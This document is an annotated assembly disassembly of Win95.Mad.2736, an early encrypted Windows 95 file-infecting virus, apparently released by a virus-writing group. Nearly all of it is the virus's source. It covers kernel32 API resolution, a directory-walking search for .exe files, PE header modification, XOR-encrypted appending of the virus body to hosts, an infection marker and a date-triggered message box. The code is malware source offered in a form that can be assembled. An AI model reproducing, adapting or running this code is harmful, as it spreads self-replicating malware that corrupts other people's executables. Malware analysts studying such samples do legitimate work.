;Win95.Mad.2736 disassembly
;(c) Vecna/29A

;Here is the disassembly of one of the first Win95 virus, that implemented
;several original features. It was the first encripted win95 virus, and
;the second one to not add a new section to the host (the first according
;to AVPVE) the first was actually Win32.Jacky. When executed,
;it search the kernel32 in memory for GetProcAddress and GetModuleHandleA,
;and call they everytime that need get a function, instead of searching
;once and storing the API address. Anyway, the API search dont seens reliable
;enought, and i cant make it replicate in my machine.

;A special thank goes this time for VirusBuster, my virus provider, that
;always have nice virii for me... :-)
;Tasm /m w95mad.asm


.386p
.model flat
.data
       dd ?

.code

start:
       call delta
delta:
       pop edi
       mov eax, edi
old_RVA:
       sub eax, 2005h                            ;setup host entry point
       sub edi, offset delta
       mov ds:HostEntry[edi], eax
       mov ds:SaveEBP[edi], ebp
       mov ebp, edi
       xor eax, eax
       mov edi, offset start_encript
       add edi, ebp
       mov ecx, 0A6Bh
       mov al, ss:Key[ebp]
decript_loop:
       xor [edi], al
       inc edi
       loop decript_loop
       jmp short start_encript

HostEntry dd 0
SaveEBP   dd 0
Key       db 0

start_encript:
       mov ss:TotalInf[ebp], 0
       mov eax, 4550h
       mov edi, 0BFF70000h
       mov ecx, 1000h
       cld
search_kernel:
       repne scasw
       jnz return_host
       add ss:Seed[ebp], edi
       dec edi
       dec edi
       cmp word ptr [edi+4], 14Ch
       jnz short search_kernel
       cmp word ptr [edi+14h], 0
       jz  short search_kernel
       mov bx, [edi+16h]
       and bx, 0F000h
       cmp bx, 2000h                             ;is a DLL?
       jnz short search_kernel
       cmp dword ptr [edi+34h], 0BFF70000h
       jl short search_kernel
       mov eax, [edi+34h]
       mov ss:KernelBase[ebp], eax
       xor eax, eax
       mov ax, [edi+14h]
       add eax, edi
       add eax, 18h
       mov cx, [edi+6]                           ;number of sections
search_edata:
       cmp dword ptr [eax], 'ADE.'
       jnz short no_edata
       cmp dword ptr [eax+4], 'AT'               ;search all sectionz for the
       jz short found_export                     ;export section
no_edata:
       add eax, 28h
       dec cx
       or cx, cx
       jnz short search_edata
       jmp return_host

found_export:
       mov ebx, [eax+0Ch]
       add ebx, ss:KernelBase[ebp]
       mov edi, [ebx+20h]
       add edi, ss:KernelBase[ebp]
       mov ecx, [ebx+14h]
       sub ecx, [ebx+18h]
       mov eax, 4
       mul ecx
       mov ss:pAPIRVA[ebp], eax
       mov ecx, [ebx+18h]
       mov eax, 4
       mul ecx
       xchg     eax, ecx
       xchg     edi, edx

search_APIs:
       sub ecx, 4
       mov edi, edx
       add edi, ecx
       mov edi, [edi]
       add edi, ss:KernelBase[ebp]
       lea esi, szGetProcAddres[ebp]
       lea eax, pGetProcAddress[ebp]
       call extract_addr
       lea eax, pGetModuleHdle[ebp]
       lea esi, szGetModuleHdle[ebp]
       call extract_addr
       cmp ecx, 0
       jnz short search_APIs
       cmp ss:pGetProcAddress[ebp], 0
       jz return_host
       cmp ss:pGetModuleHdle[ebp], 0
       jz return_host
       lea eax, _Kernel32[ebp]
       push eax
       mov eax, ss:pGetModuleHdle[ebp]
       call eax
       mov ss:KernelHandle[ebp], eax
       cmp eax, 0
       jz return_host
       lea eax, _GetDir[ebp]
       call get_api_addr
       jb _check_payload
       lea edx, CurrentDir[ebp]
       push edx
       push 0FFh                                 ;save current directory
       call eax

find_filez:
       lea eax, _FFile[ebp]
       call get_api_addr
       jb no_payload
       mov edx, offset FINDATA                   ;start of find struct
       add edx, ebp
       push edx
       mov edx, offset ExeMask
       add edx, ebp
       push edx
       call eax
       mov ss:SearchHandle[ebp], eax
       cmp eax, 0FFFFFFFFh
       jz change_dir                             ;error, then go down a dir

infect_next:
       mov eax, dword ptr ss:FileName[ebp]
       xor ss:Seed[ebp], eax
       cmp eax, 186A0h
       jnb error_close
       cmp ss:Security[ebp], 0                   ;maybe a safeguard flag?
       jnz error_close                           ;win95 never set this, so
       lea eax, _CreateFile[ebp]                 ;probably is a safeguard
       call get_api_addr                         ;to no infect own hdd
       jb no_payload
       push 0
       push ss:FINDATA[ebp]
       push 3
       push 0
       push 0
       push 0C0000000h
       mov edx, offset FileName2
       add edx, ebp
       push edx
       call eax
       cmp eax, 0FFFFFFFFh
       jz find_next
       mov ss:FileHandle[ebp], eax
       mov edi, 3Ch
       call file_seek
       mov edi, offset PEPointer
       add edi, ebp
       mov ecx, 4
       call read_file
       jb error_close
       mov edi, ss:PEPointer[ebp]
       call file_seek
       mov edi, offset PEHeader
       add edi, ebp
       mov ecx, 8D0h
       call read_file
       cmp ss:PEHeader[ebp], 4550h
       jnz error_close
       cmp ss:InfectionMark[ebp], 'WDAM'         ;MADW - Mad for Win95
       jz  error_close
       xor esi, esi
       xor eax, eax
       mov ax, ss:NumberSections[ebp]
       dec ax
       mov ecx, 28h
       xor edx, edx
       mul ecx
       mov si, ax
       mov eax, 0BB8h
       mov ecx, ss:FileAlign[ebp]
       xor edx, edx
       div ecx
       inc eax
       mul ecx
       add ss:szRVA[ebp+esi], eax                ;virtual size of section
       mov eax, 7D0h
       mov ecx, ss:ObjAlign[ebp]
       xor edx, edx
       div ecx
       inc eax
       mul ecx
       mov edx, ss:pRAW[ebp+esi]                 ;pointer to raw data
       mov ecx, edx
       add edx, ss:szRAW[ebp+esi]                ;size of raw data
       push edx
       add ss:pRAW[ebp+esi], eax                 ;pointer to raw data
       or ss:ObjAttr[ebp+esi], 0C0000040h        ;object attributes
       add ecx, ss:RVA[ebp+esi]                  ;RVA of section
       mov edx, ss:EntryRVA[ebp]
       mov ss:EntryRVA[ebp], ecx
       sub ecx, edx
       add ecx, 5
       mov dword ptr ss:old_RVA+1[ebp], ecx
       mov ss:InfectionMark[ebp], 'WDAM'         ;set the mark
       mov edi, ss:PEPointer[ebp]
       call file_seek
       mov edi, offset PEHeader
       add edi, ebp
       mov ecx, 8D0h
       call write_file                           ;write the modificated
       pop edi                                   ;header info
       add ss:Seed[ebp], edi
       call file_seek
       mov eax, ss:Seed[ebp]
       neg eax
       mov ss:Key[ebp], al
       mov esi, offset start
       add esi, ebp
       mov edi, offset EncriptedBody
       add edi, ebp
       mov ecx, 0AB0h
       cld
       repe movsb                                ;zopy virus to work area
       mov edi, offset EncriptedBody
       add edi, ebp
       add edi, 45h
       mov ecx, 0A6Bh
       mov al, ss:Key[ebp]

enc_loop:
       xor [edi], al                             ;encript it
       inc edi
       loop enc_loop
       mov edi, offset EncriptedBody
       add edi, ebp
       mov ecx, 0AB0h
       call write_file                           ;attach virus

error_close:
       not ss:Seed[ebp]
       lea eax, _CloseFile[ebp]
       call get_api_addr
       jb  short _check_payload
       push ss:FileHandle[ebp]
       call eax

find_next:
       lea eax, _FNFile[ebp]
       call get_api_addr
       jb short _check_payload
       lea edx, FINDATA[ebp]
       push edx
       push ss:SearchHandle[ebp]
       call eax
       cmp eax, 0
       jnz infect_next

change_dir:
       cmp ss:TotalInf[ebp], 3                   ;only stop after 3 directorys
       jz short _check_payload                   ;infected
       lea eax, _SetDir[ebp]
       call get_api_addr
       jb short _check_payload
       lea edx, DotDot[ebp]                     ;go down a directory
       push edx
       call eax
       inc ss:TotalInf[ebp]
       cmp eax, 1
       jz find_filez

_check_payload:
       jmp short check_payload

read_file:
       push edi
       push ecx
       lea eax, _ReadFile[ebp]
       call get_api_addr
       pop ecx
       pop edi
       cmp eax, 0
       jnz short rf_addr_ok
       stc
       retn
rf_addr_ok:
       push 0
       lea ebx, NumRead[ebp]
       push ebx
       push ecx
       push edi
       push ss:FileHandle[ebp]
       call eax
       retn

write_file:
       push edi
       push ecx
       lea eax, _WriteFile[ebp]
       call get_api_addr
       pop ecx
       pop edi
       cmp eax, 0
       jnz short wf_addr_ok
       stc
       retn
wf_addr_ok:
       push 0
       lea ebx, NumRead[ebp]
       push ebx
       push ecx
       push edi
       push ss:FileHandle[ebp]
       call eax
       retn

file_seek:
       lea eax, _FileSeek[ebp]
       call get_api_addr
       push 0
       push 0
       push edi
       push ss:FileHandle[ebp]
       call eax
       retn

check_payload:
       lea eax, _GetTime[ebp]
       call get_api_addr
       jb short no_payload
       lea edx, SYSTIME[ebp]
       push edx
       call eax
       cmp ss:cDay[ebp], 1
       jnz short no_payload
       lea eax, _User32[ebp]
       push eax
       mov eax, ss:pGetModuleHdle[ebp]
       call eax                                  ;get handle for USER32.DLL
       mov ss:KernelHandle[ebp], eax
       cmp eax, 0
       jz short no_payload
       lea eax, _MsgBox[ebp]
       call get_api_addr
       jb short no_payload
       push 1030h
       mov edx, offset MsgTitle
       add edx, ebp
       push edx
       mov edx, offset MsgText
       add edx, ebp
       push edx
       push 0
       call eax                                  ;pop a MessageBox with virus
       lea eax, _Kernel32[ebp]                   ;credits
       push eax
       mov eax, ss:pGetModuleHdle[ebp]
       call eax
       mov ss:KernelHandle[ebp], eax

no_payload:
       lea eax, _SetDir[ebp]
       call get_api_addr
       jb short return_host
       lea edx, CurrentDir[ebp]
       push edx
       call eax

return_host:
       mov edi, ebp
       mov ebp, ds:SaveEBP[edi]
       jmp ds:HostEntry[edi]

extract_addr:
       pusha
       mov ecx, [esi]
       add esi, 4
       repe cmpsb                                ;is api we want?
       popa
       jnz short no_func
       xchg eax, esi
       mov eax, [ebx+1Ch]
       add eax, ss:pAPIRVA[ebp]
       add eax, ss:KernelBase[ebp]
       add eax, ecx
       mov eax, [eax]
       add eax, ss:KernelBase[ebp]
       mov [esi], eax                            ;set adress
no_func:
       retn

get_api_addr:
       push eax
       mov eax, ss:KernelHandle[ebp]
       push eax
       call ss:pGetProcAddress[ebp]
       cmp eax, 0
       jnz short proc_found
       stc                                       ;set carry on error
proc_found:
       retn

KernelBase dd 0
pAPIRVA    dd 0

pGetProcAddress dd 0
szGetProcAddres dd 0Fh                           ;size of string to search
           db 'GetProcAddress',0

pGetModuleHdle  dd 0
szGetModuleHdle dd 11h                           ;size of string to search
           db 'GetModuleHandleA',0

_Kernel32 db 'KERNEL32',0
_User32   db 'USER32',0

_MsgBox     db 'MessageBoxA',0                   ;this one we get from user32

_FFile      db 'FindFirstFileA',0                ;and all these otherz from
_CreateFile db 'CreateFileA',0                   ;kernel32
_CloseFile  db 'CloseHandle',0
_ReadFile   db 'ReadFile',0
_WriteFile  db 'WriteFile',0
_FileSeek   db 'SetFilePointer',0
_FNFile     db 'FindNextFileA',0
_GetTime    db 'GetLocalTime',0
_SetDir     db 'SetCurrentDirectoryA',0
_GetDir     db 'GetCurrentDirectoryA',0

KernelHandle dd 0                                ;also used for USER32.DLL
                                                 ;when using payload

MsgTitle db 'Multiplatform Advanced Destroyer',0
MsgText  db 'Hello user your computer is infected by MAD virus',0Dh
         db 'Welcome to my first virus for Windoze95...',0Dh
         db 'Distribution & Copyright by Black Angel 1997',0
                                                 ;uhh... a confession... ;-)

ExeMask db '*.eXe',0

        db '[MAD for Win95] version 1.0 BETA! (c)Black Angel`97',0

DotDot db '..',0                                 ;for directory changing

SearchHandle dd 0
FileHandle   dd 0
NumRead      dd 0
Seed         dd 0

SYSTIME equ this byte
cYear  dw 0
cMonth dw 0
cDWeek dw 0
cDay   dw 0
cHour  dw 0
cMin   dw 0
cSec   dw 0
cMlSec dw 0

FINDATA  dd 0                                    ;File Attribute
         dd 0                                    ;Creation Date
         dd 0                                    ;Last Acess Date
         dd 0                                    ;Last Write Date
         dd 0                                    ;File Size h
         dd 0                                    ;File Size l
         dd 0                                    ;Reserved
Security dd 0
FileName db 0Ch dup(0)
FileName2 db 200h dup(0)

PEPointer  dd 0
TotalInf   db 0
CurrentDir db 100h dup(0)

PEHeader        dd 0                             ;from here to end, are all
                dw 0                             ;bufferz that w95.mad.2736
NumberSections  dw 0                             ;use for read, encription
                db 20h dup(0)                    ;and like...
EntryRVA        dd 0
                db 0Ch dup(0)
FileAlign       dd 0
ObjAlign        dd 0
                db 18h dup(0)
InfectionMark   dd 0
EncriptedBody   db 0A4h dup(0)
szRVA           dd 0
RVA             dd 0
pRAW            dd 0
szRAW           dd 0
                dd 0
                dd 0
                dd 0
ObjAttr         dd 0
                db 608Ch dup(0)

end start





